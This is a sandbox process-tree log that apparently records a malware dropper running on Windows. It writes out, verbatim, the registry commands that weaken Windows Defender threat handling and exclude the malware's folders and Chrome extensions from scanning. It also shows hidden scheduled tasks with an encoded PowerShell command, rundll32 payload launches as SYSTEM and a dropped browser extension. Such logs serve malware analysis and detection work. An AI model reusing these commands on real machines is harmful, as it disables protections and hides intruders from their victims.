C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵PID:4824
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc1⤵PID:4868
-
\??\c:\windows\system32\gpscript.exegpscript.exe /RefreshSystemParam1⤵PID:4832
-
C:\Users\Admin\AppData\Local\Temp\MzeqAYTaEVrEnsbBu\THOAMDSqgDpavdW\FLmzpPZ.exeC:\Users\Admin\AppData\Local\Temp\MzeqAYTaEVrEnsbBu\THOAMDSqgDpavdW\FLmzpPZ.exe Kj /aXsite_idfwh 525403 /S1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1432 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2900 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:323⤵
- Suspicious use of WriteProcessMemory
PID:1092 -
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:324⤵PID:1756
-
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:643⤵PID:2924
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:323⤵PID:752
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:643⤵PID:704
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:323⤵PID:364
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:643⤵PID:4176
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:323⤵PID:4064
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:643⤵PID:5024
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:323⤵PID:216
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:643⤵PID:424
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:323⤵PID:2316
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:643⤵PID:4884
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:323⤵PID:2532
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:643⤵PID:3724
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:323⤵PID:3708
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:643⤵PID:4828
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:323⤵PID:4568
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:643⤵PID:2504
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:323⤵PID:2148
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:643⤵PID:2176
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:323⤵PID:4352
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:643⤵PID:1592
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:323⤵PID:2272
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:643⤵PID:3596
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:323⤵PID:4536
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:643⤵PID:2064
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:323⤵PID:5056
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:643⤵PID:3868
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\JbvRANfanWfIgAmCagR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\JbvRANfanWfIgAmCagR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\QgOPzLpgngUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\QgOPzLpgngUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\VrcJoNPXHbnqC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\VrcJoNPXHbnqC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\rCIrZuLOqTZU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\rCIrZuLOqTZU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\xpXIdTsIU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\xpXIdTsIU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\dQQdYJnyZsrajfVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\dQQdYJnyZsrajfVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\MzeqAYTaEVrEnsbBu\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\MzeqAYTaEVrEnsbBu\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\dDAaZetztCfwsYsz\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\dDAaZetztCfwsYsz\" /t REG_DWORD /d 0 /reg:64;"2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4572 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JbvRANfanWfIgAmCagR" /t REG_DWORD /d 0 /reg:323⤵PID:3280
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JbvRANfanWfIgAmCagR" /t REG_DWORD /d 0 /reg:324⤵PID:2428
-
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JbvRANfanWfIgAmCagR" /t REG_DWORD /d 0 /reg:643⤵PID:4460
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QgOPzLpgngUn" /t REG_DWORD /d 0 /reg:323⤵PID:1268
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QgOPzLpgngUn" /t REG_DWORD /d 0 /reg:643⤵PID:1876
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VrcJoNPXHbnqC" /t REG_DWORD /d 0 /reg:323⤵PID:1388
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VrcJoNPXHbnqC" /t REG_DWORD /d 0 /reg:643⤵PID:4320
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rCIrZuLOqTZU2" /t REG_DWORD /d 0 /reg:323⤵PID:3840
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rCIrZuLOqTZU2" /t REG_DWORD /d 0 /reg:643⤵PID:2264
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\xpXIdTsIU" /t REG_DWORD /d 0 /reg:323⤵PID:4540
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\xpXIdTsIU" /t REG_DWORD /d 0 /reg:643⤵PID:3436
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\dQQdYJnyZsrajfVB /t REG_DWORD /d 0 /reg:323⤵PID:3688
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\dQQdYJnyZsrajfVB /t REG_DWORD /d 0 /reg:643⤵PID:5004
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:323⤵PID:4556
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:643⤵PID:3672
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\MzeqAYTaEVrEnsbBu /t REG_DWORD /d 0 /reg:323⤵PID:4940
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\MzeqAYTaEVrEnsbBu /t REG_DWORD /d 0 /reg:643⤵PID:3864
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\dDAaZetztCfwsYsz /t REG_DWORD /d 0 /reg:323⤵PID:2128
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\dDAaZetztCfwsYsz /t REG_DWORD /d 0 /reg:643⤵PID:4844
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gRysBnIbF" /SC once /ST 00:21:14 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="2⤵
- Creates scheduled task(s)
PID:3992
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gRysBnIbF"2⤵PID:5092
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gRysBnIbF"2⤵PID:5012
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "SshSZtcazXqJzZOQn" /SC once /ST 00:34:06 /RU "SYSTEM" /TR "\"C:\Windows\Temp\dDAaZetztCfwsYsz\nNevWFGiwyZTytP\wQPjNEe.exe\" NB /CXsite_idSay 525403 /S" /V1 /F2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:4928
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "SshSZtcazXqJzZOQn"2⤵PID:200
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1880 -
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force2⤵PID:1776
-
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc1⤵PID:2672
-
\??\c:\windows\system32\gpscript.exegpscript.exe /RefreshSystemParam1⤵PID:656
-
C:\Windows\Temp\dDAaZetztCfwsYsz\nNevWFGiwyZTytP\wQPjNEe.exeC:\Windows\Temp\dDAaZetztCfwsYsz\nNevWFGiwyZTytP\wQPjNEe.exe NB /CXsite_idSay 525403 /S1⤵
- Checks computer location settings
- Executes dropped EXE
- Drops Chrome extension
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:776 -
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "bYcGLrVzBmDTabgRKD"2⤵PID:2548
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:322⤵PID:3252
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:323⤵PID:4368
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:642⤵PID:3788
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:643⤵PID:4356
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\xpXIdTsIU\hRUvdU.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "jnIICxyJtqskLvj" /V1 /F2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:2300
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "jnIICxyJtqskLvj2" /F /xml "C:\Program Files (x86)\xpXIdTsIU\gtaXsfu.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:5100
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /END /TN "jnIICxyJtqskLvj"2⤵PID:3792
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "jnIICxyJtqskLvj"2⤵PID:4056
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "NRiRZyyvGotjyJ" /F /xml "C:\Program Files (x86)\rCIrZuLOqTZU2\UvprFES.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:4780
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "mVIBpfcjHfspg2" /F /xml "C:\ProgramData\dQQdYJnyZsrajfVB\DBsqguX.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:368
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "faawfTylDFyZxhMwG2" /F /xml "C:\Program Files (x86)\JbvRANfanWfIgAmCagR\MAJhofn.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:1236
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "lJzbVduVrLyWBGIhAtG2" /F /xml "C:\Program Files (x86)\VrcJoNPXHbnqC\hpAlJRO.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:1528
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "IneAAIMTLAmAoaeHA" /SC once /ST 00:17:42 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\dDAaZetztCfwsYsz\FihHYJUw\PxzPwBa.dll\",#1 /vksite_idkMP 525403" /V1 /F2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:2936
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "IneAAIMTLAmAoaeHA"2⤵PID:3172
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:322⤵PID:4284
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:323⤵PID:2660
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:642⤵PID:4192
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:643⤵PID:1932
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "SshSZtcazXqJzZOQn"2⤵PID:1268
-
-
\??\c:\windows\system32\rundll32.EXEc:\windows\system32\rundll32.EXE "C:\Windows\Temp\dDAaZetztCfwsYsz\FihHYJUw\PxzPwBa.dll",#1 /vksite_idkMP 5254031⤵PID:3896
-
C:\Windows\SysWOW64\rundll32.exec:\windows\system32\rundll32.EXE "C:\Windows\Temp\dDAaZetztCfwsYsz\FihHYJUw\PxzPwBa.dll",#1 /vksite_idkMP 5254032⤵
- Blocklisted process makes network request
- Checks BIOS information in registry
- Loads dropped DLL
